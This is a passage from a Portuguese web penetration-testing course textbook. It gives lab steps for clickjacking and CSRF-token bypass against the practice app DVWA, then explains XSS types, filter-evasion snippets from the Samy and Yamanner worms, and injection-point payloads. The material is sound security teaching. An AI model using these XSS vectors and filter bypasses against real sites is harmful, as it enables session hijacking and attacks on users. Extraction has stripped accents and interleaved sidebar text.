28. Retorne ao DVWA, acesse a opo CSRF e altera a senha para password novamente.

174
Parte III Token anti-CSRF

29. Clique na opo de menu DVWA Security.

30. Altere o nvel de segurana de low para medium e clique em Submit.

31. Clique na opo de menu CSRF.

32. Pressione Ctrl + U e veja se algum item especfico de pgina foi includo.

33. Encerre a janela de visualizao de cdigo HTML.

34. Retorne janela do site www.evil.org

35. Acesse http://www.evil.org/post/post.html

36. Retorne ao DVWA e clique em Logout.

37. Autentique-se com as credenciais admin e password. O ataque foi impedido?

38. Encerre o Firefox.

Clickjacking
Clickjacking um ataque relativamente novo e que j evoluiu para formas mais perigosas de
explorao. Neste exerccio, o aluno testar diversos sites web, para ver se so vulnerveis,
e quebrar o mecanismo baseado em token anti-CSRF.

Parte I Teste de vulnerabilidade

1. Inicie o Google Chrome, presente no menu Aplicativos\Curso Ferramentas.

2. Acesse http://cjtest.esr.rnp.br.

3. Digite a URL da pgina institucional do lugar em que trabalha e clique em Teste de Clickjacking.
A pgina foi exibida no iframe?

4. Repita o teste para http://www.facebook.com. A pgina foi carregada normalmente?

5. Repita o teste para http://twitter.com. A pgina foi carregada normalmente?

6. Repita o teste para http://www.paypal.com. A pgina foi carregada normalmente?


Que mecanismo de proteo foi utilizado?
Captulo 4 - Roteiro de Atividades

7. Pressione Alt + [Seta para esquerda], para retornar pgina de teste.

8. Repita o teste para http://dvwa.esr.rnp.br. A pgina foi carregada normalmente?

9. Marque Usar sandbox e repita o Passo 3. Houve alguma alterao no resultado?

10. Marque Usar sandbox e repita o Passo 4. Houve alguma alterao no resultado?

175
11. Marque Usar sandbox e repita o Passo 5. Houve alguma alterao no resultado?

12. Marque Usar sandbox e repita o Passo 6. Houve alguma alterao no resultado?

13. Encerre o Google Chrome.

Parte II Quebra de token anti-CSRF

14. Inicie o Firefox, presente no menu Aplicativos\Curso Ferramentas.

15. Acesse o DVWA, a partir da barra de atalhos.

16. Autentique-se com as credenciais admin e password.

17. Clique na opo de menu DVWA Security.

18. Altere o nvel de segurana de low para medium e clique em Submit.

19. Clique na opo de menu CSRF.

20. Pressione Ctrl + U e veja se algum item especfico de pgina foi includo.

21. Encerre a janela de visualizao de cdigo HTML.

22. Pressione Ctrl + N, para abrir uma nova janela do Firefox.

23. Acesse http://clickjacking.evil.org

24. Arraste 1. RSA para Cifra assimtrica.

25. Arraste 2. AES para Cifra simtrica.

26. Clique em Conferir.

27. Retorne janela do DVWA.

28. Clique em Logout.

29. Tente se autenticar com as mesmas credenciais. Algum erro ocorreu?

30. Tente se autenticar com as credenciais admin e pwd.

31. Clique na opo de menu CSRF.

32. Altere a senha para password novamente.

33. Retorne janela do domnio evil.org.

34. Acesse http://clickjacking.evil.org/index2.html e observe a sobreposio de pginas.


Teste de Invaso de Aplicaes Web

35. Pressione Ctrl + U, para ver o cdigo HTML.

36. Feche a janela de visualizao de cdigo HTML.

37. Encerre o Firefox.

176
Bibliografia 4
1 BALDUZZI, Marco; EGELE, Manuel; KIRDA, Engin; BALZAROTTI, Davide e KRUEGEL,
Christopher. A Solution for the Automated Detection of Clickjacking Attacks. In:
ASIACCS 10 Proceedings of the 5th ACM Symposium on Information, Computer and
Communications Security, 2010.

1 BARRALL, Darrin. Automated Cookie Analysis Are your web applications vulnerable?. SPI
Dynamics, 2005.

1 BURNS, Jesse. Cross Site Reference Forgery An introduction to a common web application
weakness. Information Security Partners, LLC, 2005.

1 BURNS, Jesse. Cross Site Request Forgery an introduction to a common web application
weakness. Information Security Partners, LLC, 2007.

1 ENDLER, David. Brute-Force Exploitation of Web Application Session IDs. iAlert White Paper,
iDEFENSE Labs, 2001.

1 ESPOSITO, Dino. Take Advantage of ASP.NET Built-in Features to Fend Off Web Attacks.
Disponvel em: http://msdn.microsoft.com/en-us/library/ms972969.aspx. Data de acesso:
25/07/2011. MSDN Library, 2005.

1 HANSEN, Robert e GROSSMAN, Jeremiah. Clickjacking. Disponvel em:


http://www. sectheory.com/clickjacking.htm. Data de acesso: 25/07/2011. SecTheory, 2008.

1 JOVANOVIC, Nenad; KIRDA, Engin e KRUEGEL, Christopher. Preventing Cross Site Request
Forgery Attacks. In: 2006 SecureComm and Workshops, IEEE, 2006.

1 KOLEK, Mitja. Session Fixation Vulnerability in Web-based Applications. Version 1.0,


ACROS Security, 2002.

1 KOLEK, Mitja. Session Fixation Vulnerability in Web-based Applications. Version 1.0


revision 1, ACROS Security, 2007.

1 KRISTOL, David e MONTULLI, Lou. HTTP State Management Mechanism. RFC 2965, 2000.
1 KUPPAN, Lavakumar. Attacking with HTML5. Attack & Defense Labs, 2010.
1 MAHEMOFF, Michael. Explaining the Dont Click Clickjacking Tweetbomb. Disponvel em:
http://softwareas.com/explaining-the-dont-click-clickjacking-tweetbomb. Data de acesso:
25/07/2011. Mahemoffs Podcast/Blog, 2009.

1 MEUCCI, Matteo et al. OWASP testing guide v3.0. OWASP, 2008.


1 MORGAN, Timothy D. Weaning the Web off of Session Cookies Making Digest
Authentication Viable. Version 1.0, VSR, 2010.

1 PALMER, Chris. Secure Session Management with Cookies for Web Applications. iSEC Partners,
Captulo 4 - Roteiro de Atividades

Inc., 2008.

1 RYDSTEDT, Gustav; BURSZTEIN, Elie; BONEH, Dan e JACKSON, Colling. Busting Frame
Busting: a Study of Clickjacking Vulnerabilities on Popular Sites. In: IEEE Web 2.0 Security
and Privacy (W2SP), 2010.

1 SCHRANK, Michael; BRAUN, Bastian e POSSEGA, John Joachim. Session Fixation The
Forgotten Vulnerability? In: Sicherheit 2010: Sicherheit, Schutz und Zuverlssigkeit, Beitrge
der 5. Jahrestagung des Fachbereichs Sicherheit der Gesellschaft fr Informatik e.V. (GI), 2010.

1 SCHREIBER, Thomas. Session Riding a Widespread Vulnerability in Todays Web Applications.


SecureNet, Whitepaper, 2004.

177
1 SILES, Ral. SAP: Session (Fixation) Attacks and Protections (in Web Applications). Taddong S.
L., Black Hat Europe 2011, 2011.

1 STONE, Paul. Next Generation Clickjacking New attacks against framed web pages. White
Paper, Context Information Security Ltd., 2010.

1 STUTTARD, Dafydd e PINTO, Marcus. The Web Application Hackers Handbook. Wiley
Publishing, Inc., 2007.
Teste de Invaso de Aplicaes Web

178
5
Cross-site scripting
objetivos

Apresentar os diversos tipos de XSS e como podem ser empregados para obter
identificador de sesso, adulterar pginas, capturar teclas digitadas, descobrir
histrico de navegao e quebrar tokens anti-CSRF.

conceitos
Cross-site scripting (XSS), XSS refletido, XSS armazenado, XSS baseado em DOM,
cross-channel scripting, worms baseados em XSS, evaso de filtros, arcabouos
de explorao.

Introduo
Cross-site scripting, tambm conhecido como XSS, atualmente um dos defeitos de segu- q
rana mais comumente encontrados em aplicaes web, permitindo utilizar uma aplicao
vulnervel para transportar cdigo malicioso, normalmente escrito em Javascript, at o nave-
gador de outro usurio. Uma vez que a poltica de mesma origem respeitada, o navegador
da vtima entende que o cdigo recebido legtimo e, por isso, informaes sensveis, como o
identificador de sesso do usurio, por exemplo, podem ser acessadas programaticamente.

Nesse caso, conforme visto no Captulo 4, um usurio malicioso capaz de sequestrar a


sesso da pessoa atacada, bastando para isso enviar, em todas as requisies fraudulentas,
o identificador obtido. Perceba-se, assim, a partir dessa contextualizao, que XSS no visa
explorar o servidor, mas, sim, outros usurios da aplicao (Stuttard e Pinto, 2007; Howard
et al., 2005; Grossman et al., 2007).

De modo geral, essa vulnerabilidade ocorre todas as vezes em que uma aplicao web q
no valida informaes recebidas de uma entidade externa (usurio, banco de dados ou
outra aplicao, por exemplo) e as insere inalteradas em alguma pgina gerada dinami-
camente. O problema acontece porque qualquer cdigo contido naquelas informaes
Captulo 5 - Cross-site scripting

interpretado como tal, pelo navegador do usurio que realiza o acesso, e executado
automaticamente, no contexto da sesso.

Para exemplificar, imagine-se que o texto fornecido e integralmente exibido pela aplicao
seja <script>alert(XSS)</script>. O resultado que se obtm est ilustrado na Figura 5.1, jun-
tamente com o trecho de cdigo HTML gerado pelo sistema.

Como comum utilizar exatamente esse vetor em testes de invaso e provas de conceito,
muitas pessoas acreditam que um cross-site scripting no um ataque crtico, pois apenas
exibe uma caixa de mensagem ao usurio. Tal pensamento est longe de estar correto, pois,

179
desde a primeira vez em que o problema foi descrito, diversas novas tcnicas de explorao
foram desenvolvidas.

Para se ter uma ideia mais realista, roubo de histrico de navegao, varredura de redes q
privadas, descoberta de consultas realizadas em mecanismos de busca, escravizao de
navegador web e worms baseados em XSS so apenas alguns exemplos do que pos- Worm
svel obter, por meio da explorao da vulnerabilidade (Grossman et al., 2007; Hoffman e Tipo de malware que
Sullivan, 2007). utiliza uma ou mais
vulnerabilidades
no sistema, para se
Note-se que, para piorar a situao, os scripts maliciosos que efetuam esses ataques so
propagar de maneira
executados nas mquinas de usurios e, portanto, dentro da rede interna do ambiente. automtica, isto , sem
necessitar de uma ao
Assim, devido importncia do tema cross-site scripting, este captulo dedicado a discutir do usurio.
exclusivamente os diversos aspectos sobre ele. Nesse contexto, os tpicos cobertos so:
tipos de XSS, worms baseados em XSS, pontos de injeo, roteiros de teste, obteno de
identificador de sesso, adulterao de pgina, descoberta de histrico de navegao,
captura de teclas digitadas no navegador web, quebra de token anti-CSRF, evaso de filtros e
arcabouos de explorao.

Exerccio de nivelamento 1 e
Figura 5.1
Exemplo genrico
Cross-site scripting de XSS.

Voc j viu alguma aplicao vulnervel a cross-site scripting?

O que possvel realizar com um cross-site scripting?


Teste de Invaso de Aplicaes Web

Tipos de XSS
Dependendo de como o contedo malicioso transportado at a vtima e do local em q
que a vulnerabilidade ocorre (no servidor ou no cliente), um cross-site scripting pode ser
classificado nos seguintes tipos:

1 XSS refletido, tambm chamado de no persistente.


1 XSS armazenado, tambm chamado de persistente ou de segunda ordem.
1 XSS baseado em DOM.
1 XCS ou cross-channel scripting.

180
XSS refletido
Nessa classe de XSS, o cdigo enviado na URL ou no cabealho HTTP, como parte da q
requisio, explorando um parmetro que exibido sem tratamento na pgina resul-
tante. Normalmente, requer que o usurio seja induzido a clicar em um link especial-
mente construdo, com contedo malicioso. muito comum em pginas dinmicas
utilizadas para exibio de mensagens parametrizadas de erro.

Os passos gerais para explorao da vulnerabilidade esto descritos a seguir:

1. O atacante fornece vtima um link para a aplicao vulnervel, com cdigo Javascript
embutido em um dos parmetros da URL.

2. A vtima solicita aplicao vulnervel o recurso identificado pela URL fornecida no pri-
meiro passo deste roteiro.

3. A aplicao atende a requisio e reflete o cdigo malicioso para o navegador do usurio.

4. O Javascript escrito pelo atacante executado na mquina do usurio, como se fosse


proveniente da aplicao, e, portanto, com todos os privilgios de um script legtimo.

Como exemplo, considere-se uma aplicao que possua um campo de busca e que exiba
uma mensagem de erro contendo o valor digitado, quando ele no for encontrado na base de
dados. Supondo que a requisio feita pelo mtodo GET e a informao procurada passada
no parmetro search_name, a seguinte URL pode ser empregada em um XSS refletido:

http://localhost:8080/WebGoat/attack?Screen=33&menu=900&

search_name=X<script>alert(%22XSS%20Refletido%22)

</script>&action=FindProfile

Note que, alm do texto X, um cdigo Javascript para exibio de caixa de mensagem
passado como parte do parmetro search_name. Dada a inexistncia do valor na base, a
aplicao exibe uma pgina de erro, informando que X<script>... no foi encontrado. Ao
Figura 5.2
Exemplo de XSS realizar isso, porm, o cdigo fornecido em search_name embutido no HTML e executado
refletido. pelo navegador web, conforme ilustrado na Figura 5.2.

Captulo 5 - Cross-site scripting

181
XSS armazenado
XSS armazenado ou persistente recebe este nome porque o cdigo malicioso armaze- q
nado pela aplicao, normalmente em um banco de dados, e exibido a todos os usurios
que acessam o recurso infectado. um tipo mais perigoso, pois pode afetar uma quanti-
dade maior de usurios, de uma nica vez, alm de no ser necessrio induzi-los a seguir
um link para serem atacados.

Devido a essas caractersticas, um cenrio comumente afetado pelo problema consiste em


um frum pblico de discusso, no qual alguns usurios expem as dvidas que possuem,
para que outras pessoas as esclaream. Nesse caso, os passos para realizar um XSS armaze-
nado esto representados na Figura 5.3 e descritos a seguir:

1. Um usurio malicioso insere cdigo (<script>alert(XSS)</script>, por exemplo) no corpo


da pergunta e a submete aplicao defeituosa, que, por esse motivo, no valida a
entrada e armazena o texto integralmente no banco de dados.

2. Outro usurio verifica a lista de perguntas e resolve acessar justamente aquela com
contedo malicioso.

3. A aplicao recupera a informao do banco de dados e a utiliza para gerar a pgina


solicitada, sem codificar a sada.

4. O Javascript escrito pelo atacante transportado at o navegador do usurio, onde


executado, efetuando atividades maliciosas.

Vtima

4
1 3

Atacante

Figura 5.3
XSS baseado em DOM Passos de um XSS

Cross-site scripting baseado em DOM muito similar ao tipo refletido, mas difere deste q armazenado.
Teste de Invaso de Aplicaes Web

por no necessitar que o cdigo malicioso seja enviado ao servidor. Consequentemente,


o defeito precisa estar no lado cliente da aplicao, o qual, por meio de scripts, insere
ou atualiza elementos na pgina, de maneira dinmica, a partir de valores de objetos do
DOM que podem ser controlados pelo usurio.

Um exemplo clssico disso, apresentado no artigo de Klein (2005), consiste na exibio


de uma mensagem personalizada de boas-vindas, cujo nome de usurio extrado de um
parmetro da URL. Tal defeito de segurana pode ser observado no cdigo HTML ilustrado
na Figura 5.4.

182
<html>

<head><title>XSS baseado DOM</title></head>

<body>

<h2>

<script>

var url = document.URL;

var pos = url.indexOf(usuario=);

document.write(Bem-vindo);

if (pos != -1) {

document.write(, + unescape(url.substring(pos + 8, url.


length)));

document.write(!!);

</script>

</h2>
Figura 5.4
Cdigo vulnervel </body>
a XSS baseado
em DOM. </html>

Nesse cenrio, o script definido no corpo da pgina verifica a existncia de um parmetro


de URL chamado de usuario. Caso esteja presente, o valor dele escrito no documento,
por meio do mtodo document.write(), aps ser decodificado pela funo unescape(). Por
exemplo, se a URL http://xss.esr.rnp.br/dom/index.html?usuario=leitor utilizada para
acessar o documento, obtm-se o resultado ilustrado na Figura 5.5.

Observe que o valor de usuario extrado por meio da funo substring(), tomando-se a
cadeia de caracteres que vai do smbolo = at o final da URL. Por conseguinte, qualquer
texto que esteja aps o parmetro copiado integralmente para o corpo da pgina HTML, no
importando o que seja. Para exemplificar a vulnerabilidade, considere que o valor passado
seja usuario=leitor<script>alert(10)<%2fscript>. Nesse cenrio, o script embutido na URL
incorporado ao documento, por meio do Javascript nele definido, e executado em seguida.
Captulo 5 - Cross-site scripting

183
importante notar que, nesse caso, o cdigo malicioso enviado ao servidor, embora no Figura 5.5
seja refletido para o usurio, como parte do HTML de resposta. De modo a evitar que aquilo Exemplo de XSS
baseado em DOM.
acontea, pode-se coloc-lo aps um smbolo #, o qual, em uma URL, introduz o que se
chama de fragmento. Este atua como referncia a um recurso subordinado e nunca
submetido em uma requisio, como se v na Figura 5.6. Assim, possvel evadir eventuais
filtros que existam no servidor e definir cdigo de tamanho arbitrrio, limitado somente
pelo mximo que o navegador web aceita.

Os passos para explorao de um cross-site scripting baseado em DOM so: Figura 5.6
Exemplo de que
1. O atacante fornece vtima um link para a aplicao vulnervel, com cdigo Javascript fragmento de URL
no enviado em
embutido como um fragmento de URL. requisio.

2. A vtima solicita aplicao vulnervel o recurso identificado pela URL fornecida no


primeiro passo deste roteiro. Note que o fragmento no enviado ao servidor junto com
Teste de Invaso de Aplicaes Web

a requisio.

3. A aplicao fornece como resposta requisio uma pgina HTML contendo cdigo
Javascript, o qual altera o documento, com base no valor de um parmetro da URL. Nesse
momento, o cdigo malicioso inserido no DOM, juntamente com o argumento especificado.

4. O Javascript escrito pelo atacante , ento, executado na mquina do usurio, como se


fosse proveniente da aplicao, e, portanto, com todos os privilgios de um script legtimo.

184
Cross channel scripting
Cross channel scripting (XCS) se refere a uma variao de cross-site scripting armaze- q
nado, que utiliza um canal alternativo para injeo do cdigo malicioso. De modo geral,

Network attached afeta dispositivos que possuem um servidor web embutido, como porta-retratos digitais
storage e network attached storages, por exemplo, os quais permitem que informaes sejam
Tipo de dispositivo de enviadas a eles, por meio de protocolos diferentes do HTTP. Nos casos em que so
rede, utilizado para vulnerveis, muitas vezes, a fragilidade no decorre de defeitos individuais nos vrios
servir arquivos aos
usurios do ambiente, protocolos suportados, mas, sim, da interao entre eles.
por meio de diversos
protocolos, como CIFS, Por exemplo, considere um NAS que utiliza FTP para transferncia de arquivos, mas que
NFS, HTTP e FTP, emprega uma interface web para list-los e manipul-los. Como o primeiro no susceptvel
por exemplo.
a XSS, nenhum tratamento feito sobre os nomes e contedos dos arquivos, criando, assim,
a possibilidade de explorar os usurios que acessam o equipamento via HTTP.

Segundo Bojinov et al. (2009), o cenrio acima apresenta duas restries para o atacante, mas
que podem ser superadas, com um pouco de engenhosidade, conforme eles prprios apontam:

1 Nomes de arquivos possuem comprimento mximo, limitando o tamanho do cdigo mali-


cioso a ser injetado. Nesse caso, a soluo direta consiste em carregar o script a partir de
uma fonte externa, empregando o atributo src.

1 Nomes de arquivos no podem conter o caractere /, impedindo a incluso direta de


um marcador de finalizao de elemento, como </script>, por exemplo. A tcnica de
contorno que pode ser usada, nessa situao, resume-se na carga de um script externo
em duas etapas. A primeira, baseada no evento onload de um iframe, responsvel por
desempacotar o segundo estgio, composto por um elemento <script src=></script>
codificado, e inseri-lo dinamicamente na pgina HTML.

Consolidando todas essas informaes, possvel sintetizar um ataque cross channel scripting
nos seguintes passos principais:

5. Atacante utiliza um canal diferente de HTTP, como FTP, SMTP ou SNMP, para armazenar
cdigo malicioso no servidor.

6. Usurio legtimo solicita, por meio de navegador web, um elemento contendo script mali-
cioso, o qual inserido na pgina HTML de resposta, sem que a vtima saiba.

7. Quando o navegador web exibe o contedo malicioso, ele executado e compromete a


estao de trabalho da vtima.

Para ilustrar o ataque, considere que um usurio malicioso cria no dispositivo um arquivo
chamado <img src=a onerror=alert(1)>, conforme ilustrado na Figura 5.7. Ao listar o
contedo do diretrio em questo, por meio de uma aplicao web vulnervel, o nome de
cada arquivo inserido na pgina HTML, sem sanitizao. Isso faz com que um <img> seja
Figura 5.7 embutido no documento, causando uma situao de erro, devido inexistncia do recurso
Arquivo com nome
Captulo 5 - Cross-site scripting

a, especificado pelo atributo src. Por conseguinte, o inofensivo cdigo alert(1) executado
contendo cdigo
malicioso. (vide Figura 5.8), o qual poderia muito bem ser substitudo por algo mais danoso.

185
Exerccio de fixao 1 e
Figura 5.8
Execuo de um
XSS cross channel
scripting.
Que tipos de XSS existem?

Worms baseados em XSS


O primeiro worm baseado em XSS, chamado de Samy Worm em decorrncia do nome de q
seu criador, Samy Kamkar, afetou o MySpace em outubro de 2005, obrigando que a apli-
cao, uma das mais acessadas nos Estados Unidos na poca, fosse retirada do ar, para
correo do defeito que estava sendo explorado pelo cdigo malicioso. O que comeou
como uma brincadeira, para que Samy conseguisse o maior nmero possvel de amigos
na rede social, transformou-se em um dos worms de mais rpida propagao da histria
da computao, conforme ilustrado na Figura 5.9. Em menos de 24 horas, quase um
milho de contas do MySpace foram infectadas, pela simples visita a um perfil afetado.

Figura 5.9
Teste de Invaso de Aplicaes Web

Mquinas infectadas
nas primeiras
24 horas
(Grossman, 2007a).

Sempre que o Samy Worm, tambm chamado de The MySpace Worm ou JS.Spacehero Worm,
infectava uma conta do MySpace, Samy Kamkar era adicionado como amigo e heri, e o
cdigo malicioso era inserido no perfil da vtima (Grossman, 2007a), pronto para afetar novos
usurios. Para realizar tudo isso, diversos controles impostos pela aplicao tiveram de ser
evadidos, conforme explicaes do prprio Kamkar (2005), reproduzidas parcialmente a seguir:

186
1 MySpace permitia que apenas um limitado subconjunto de marcadores HTML fosse
utilizado nos perfis de usurios, excluindo-se aqueles necessrios para incluso direta de
Javascript, como <script> e tratadores de evento, por exemplo. Apesar disso, era possvel
incluir cdigo em folhas de estilo de elementos <div>, os quais eram aceitos pela aplicao.

Exemplo:

<div style=background:url(javascript:alert(1))>.

1 Uma condio fundamental para que o worm funcionasse dependia da possibilidade de


se injetar Javascript na aplicao, que era o objetivo perseguido pela construo acima.
Entretanto, um dos filtros utilizados pelo MySpace removia toda palavra javascript que
tivesse sido fornecida por usurios, inviabilizando a tcnica de contorno mencionada.
O filtro, contudo, possua algumas vulnerabilidades e no detectava o termo, se houvesse
um caractere \n no meio dele. Alguns navegadores web, por outro lado, eram capazes de
reconhecer e interpretar a palavra corretamente, mesmo nessas situaes, permitindo o
uso do seguinte vetor.

Exemplo:

<div style=background:url(java

script:alert(1))>

1 Para codificar o worm, Samy necessitava empregar aspas simples e duplas; em diversos
lugares, porm, a construo acima j utilizava ambas, e o MySpace removia todas as
Caractere de escape ocorrncias do caractere de escape \, impedindo o uso de \ e \. A primeira dificuldade foi
Usado para indicar que a resolvida, armazenando o Javascript em uma expresso e executando-o por nome, enquanto
sequncia de caracteres
que a soluo para a segunda compreendia o uso da funo String.fromCharCode(34).
junto a ele deve ser
interpretada de maneira
Exemplo:
diferente daquela se
estivesse isolada.
<div id=mycode expr=alert(double quote: + String.
Por exemplo, comum
em linguagens de fromCharCode(34)) style=background:url(java
programao que uma
aspa seja empregada script:eval(document.all.mycode.expr))>
como delimitador de
cadeias de caracteres.
1 Diversas outras palavras-chave, como innerHTML e onreadystatechange, por exemplo,
Para que, em vez disso,
ela seja considerada eram filtradas pelo MySpace. Para contornar esse controle, Samy utilizou a funo eval()
com o sentido original, juntamente com a concatenao de cadeias de caracteres. O mesmo truque foi empre-
deve ser antecedida
gado para evitar que a busca pela palavra friendID, na pgina atual, encontrasse o
pelo caractere
de escape, trecho de cdigo Javascript que realizava a prpria tarefa.
normalmente,
representado por Exemplo:
uma barra.
eval(document.body.inne + rHTML)
Captulo 5 - Cross-site scripting

1 A visualizao de perfis de usurios era atendida pelo servidor profile.myspace.com,


enquanto a alterao de informaes ocorria a partir de www.myspace.com. Como o
cdigo malicioso era injetado na pgina de perfil, ele era capaz de se comunicar apenas
com o primeiro domnio, devido poltica de mesma origem. Esse fato impedia que Samy
fosse adicionado como amigo e heri, pois a requisio deveria ser enviada ao segundo
domnio para funcionar, o que era proibido, uma vez que as origens diferiam. Sem isso,
o worm no conseguiria se propagar, mas, aps descobrir que o perfil tambm podia ser

187
visualizado se acessado de www.myspace.com, Samy incluiu o cdigo abaixo, para redire-
cionar o usurio para o domnio necessrio e resolver o problema:

if (location.hostname == profile.myspace.com)

document.location = http://www.myspace.com +

location.pathname + location.search;

1 Todas as atualizaes no MySpace, como adio de amigos e incluso de heris, eram


realizadas em um processo de dois passos, no qual um token era gerado e devolvido
na primeira etapa, e reenviado em uma pgina de confirmao, no ltimo estgio. Para
tratar essa situao, Samy criou cdigo que submetia a requisio inicial, extraa o token
da resposta e o enviava em um POST final.

1 Finalmente, devido ao espao limitado, foi necessrio diminuir o nome de variveis e


remover quaisquer itens desnecessrios do cdigo.

O cdigo completo do Samy Worm est ilustrado no apndice deste captulo, tal como era
inserido no perfil das contas infectadas. Note que os trechos marcados em vermelho corres-
pondem aos itens discutidos nesta seo.

Outro exemplo famoso de worm baseado em cross-site scripting, chamado de Yamanner q


(cdigo tambm disponibilizado no apndice), afetou a aplicao de correio eletrnico do
Yahoo!, porm no conseguiu se propagar to rapidamente como o Samy Worm (Chien,
2006; Hoffman e Sullivan, 2007).

Similarmente ao MySpace, os filtros utilizados pelo Yahoo! Web Mail impediam a incluso
nas mensagens do marcador <script> e de palavras que definem eventos, como onload, por
exemplo. Imagens, por outro lado, eram permitidas, e, como j se sabe, so carregadas
automaticamente pelo navegador web.

Para conseguir injetar o cdigo malicioso, o autor do worm, supostamente um iraniano que
buscava fama internacional para conseguir um emprego fora do pas em que vivia, explorou
uma vulnerabilidade que descobriu nos filtros do Yahoo!. O processo de remoo dos ele-
mentos considerados perigosos no era recursivo e analisava cada mensagem escrita pelos
diversos usurios em uma nica passagem. Uma abordagem desse tipo, embora defeituosa,
comumente encontrada em sistemas de produo, o que permite a evaso dos meca-
nismos de proteo. No caso especfico do Yahoo!, o Yamanner aproveitou-se que o atributo
target tambm era removido pelo filtro, para inserir o seguinte elemento na mensagem
(Hoffman e Sullivan, 2007):

<img src= Yahoo_logo.gif target=onload=cdigo do malware>

Ao higienizar o texto uma nica vez, o filtro conseguia remover apenas a parte referente a
Teste de Invaso de Aplicaes Web

target =, deixando o restante do elemento intacto. Como resultado, o que era enviado
vtima, no corpo da mensagem, consistia no seguinte:

<img src= Yahoo_logo.gif onload=cdigo do malware>

Consequentemente, o cdigo malicioso era executado com sucesso sempre que a men-
sagem era lida por uma vtima. Visando se propagar, o worm buscava a agenda de ende-
reos do usurio infectado, por meio do mtodo XMLHttpRequest, e enviava uma cpia dele
mesmo para todos os contatos que possuam uma conta no Yahoo! Web Mail. Essa restrio
era adotada, porque a vulnerabilidade explorada era especfica dessa aplicao de correio
eletrnico, no fazendo sentido, portanto, enviar o malware a endereos de outros dom-
nios. Assim como no MySpace, submeter uma mensagem era um processo em duas etapas,
188
no qual o token gerado no primeiro passo deveria ser remetido no segundo. Isso foi contor-
nado pelo Yamanner de maneira anloga ao Samy Worm.

Exemplos adicionais de aplicaes web que foram vtimas de worms baseados em cross-site q
scripting incluem Xanga, SpaceFlash, MyYearBook, Gaia, U-Dominion, Justin.tv, Orkut,
Hi5 e Twitter (Sun et al., 2009).

Note que a grande maioria delas composta por redes sociais, enquanto as demais
englobam blogs, jogos e servidores de vdeo.

Exerccio de fixao 2 e
Tcnicas de evaso
Que tcnicas de evaso foram utilizadas pelo Samy Worm?

Descoberta de vulnerabilidades e explorao


Uma aplicao vulnervel a cross-site scripting pode permitir que diversos ataques q
sejam realizados contra outros usurios e o ambiente que utilizam. Para uma explorao
bem-sucedida do problema necessrio, primeiramente, entender quais so os poss-
veis pontos de injeo, para que o cdigo gerado seja construdo de modo a no conter
erros sintticos, o que faria com que fosse rejeitado pelo navegador web. Em seguida,
de acordo com o ataque que se deseja realizar, deve-se escolher o vetor de injeo
adequado, o qual deve ser submetido, considerando-se tcnicas de evaso de eventuais
filtros presentes no ambiente.

Pontos de injeo
muito importante saber o local na pgina HTML no qual ocorre a cpia do cdigo inje- q
tado, para que seja possvel construir o vetor, corretamente e respeitando-se a estrutura
sinttica do documento. No caso mais simples, o texto fornecido pelo usurio inserido
diretamente no corpo da pgina, como no exemplo a seguir:

<pre>Hello Nelson</pre>

Em tal cenrio, no h elementos, como aspas e chaves angulares, que precisam ser balan-
ceados e, assim, o seguinte vetor de injeo pode ser empregado:

<script>alert(1)</script>

Resultando em:

<pre>Hello <script>alert(1)</script></pre>
Captulo 5 - Cross-site scripting

Outras vezes, o texto controlado pelo usurio includo dentro de um script, conforme q
abaixo ilustrado:

<script>

var a=Nelson;

function greetings() { ... }

</script>

189
Observe que, para o vetor de injeo ser considerado como um comando e no como uma
cadeia de caracteres, ele deve ficar fora da regio delimitada por aspas. Para conseguir isso,
pode-se fornecer o valor a seguir, que fecha a aspa inicial e balanceia a final, por meio da
declarao de uma varivel adicional:

Nelson;alert(1);var b=

Com o qual se obtm:

<script>

var a=Nelson;alert(1);var b=;

function greetings() { ... }

</script>

Outro ponto possvel de injeo ocorre no interior de um marcador HTML, como se q


observa no prximo exemplo:

<input type=text name=nome value=Nelson readonly=readonly


size=80/>

A primeira abordagem para insero de cdigo consiste em utilizar um manipulador de evento


que seja aceito pelo elemento HTML. No caso do marcador <input>, podem ser usados eventos
relacionados ao mouse e ao foco sobre o objeto, conforme exemplificado pela entrada:

Nelson onclick=alert(1)

Que gera o cdigo HTML:

<input type=text name=nome value=Nelson onclick=alert(1)


readonly=readonly size=80/>

O problema dessa construo que o usurio precisa interagir com o campo, para que o
cdigo seja executado, o que no necessariamente acontece. Uma alternativa que resolve
essa questo consiste em fechar o elemento <input>, embutir um script e inserir um
marcador invlido, de modo a balancear o que vem aps a aspa dupla. Nesse contexto,
possvel fornecer a entrada:

Nelson><script>alert(1)</script><invalid a=

A qual resulta em:

<input type=text name=nome value=Nelson><script>alert(1)</


script> <invalid a= readonly=readonly size=80/>
Finalmente, como ltimo cenrio, considere-se que o texto controlado pelo atacante seja q
Teste de Invaso de Aplicaes Web

inserido entre os marcadores <title></title>:

<title>Bom dia, Nelson</title>

Observe-se que nesse caso no possvel inserir diretamente o marcador <script>, pois ele
seria considerado como parte do ttulo, pelo navegador web, em vez de uma meta-informao.
Desse modo, preciso inserir um </title>, antes da incluso do script malicioso:

Nelson</title><script>alert(1)</script>

O qual resulta no cdigo HTML:

<title>Bom dia, Nelson</title><script>alert(1)</script></title>

190
Perceba que um </title> fica sobrando, porm, ele ser ignorado pelo navegador web, sem
afetar a execuo do cdigo malicioso.

Roteiros de teste
Os roteiros de teste desta seo diferem entre si em funo do tipo de cross-site q
scripting sendo verificado, embora, de maneira geral, todos eles busquem encontrar os
lugares na aplicao que exibem, sem nenhum tratamento, informaes controladas
pelo usurio.

Teste de XSS refletido


Para verificar se uma dada aplicao vulnervel a cross-site scripting refletido, os q
seguintes passos podem ser executados (Stuttard e Pinto, 2007):

1. Escolha um valor para injeo, que no ocorra na aplicao. Exemplo: esrvalordeteste.

2. Para cada item de entrada identificado na fase de mapeamento:

2.1.Fornea o valor escolhido no primeiro passo.

2.2.Verifique se o valor refletido em algum lugar do documento HTML de resposta.


Caso ele aparea mais de uma vez, cada instncia deve ser avaliada individual-
mente, como uma potencial vulnerabilidade.

2.3.Caso uma reflexo seja encontrada, de acordo com o ponto de injeo, selecione
um vetor de teste adequado, que respeite a estrutura sinttica do documento.

2.4.Aplique o vetor e observe se o cdigo executado.

Teste de XSS armazenado


Os testes para encontrar defeitos que viabilizam um cross-site scripting armazenado so q
muito similares aos realizados para o tipo refletido, mas contm algumas particulari-
dades que devem ser consideradas pelo analista de segurana:

3. Escolha um valor para injeo, que no ocorra na aplicao. Exemplo: esrvalordeteste.

4. Para cada item de entrada identificado na fase de mapeamento:

4.1.Fornea o valor escolhido no primeiro passo, tendo em mente que, em alguns casos,
ele s armazenado depois de completados os estgios que compem o processo
de negcio especfico.

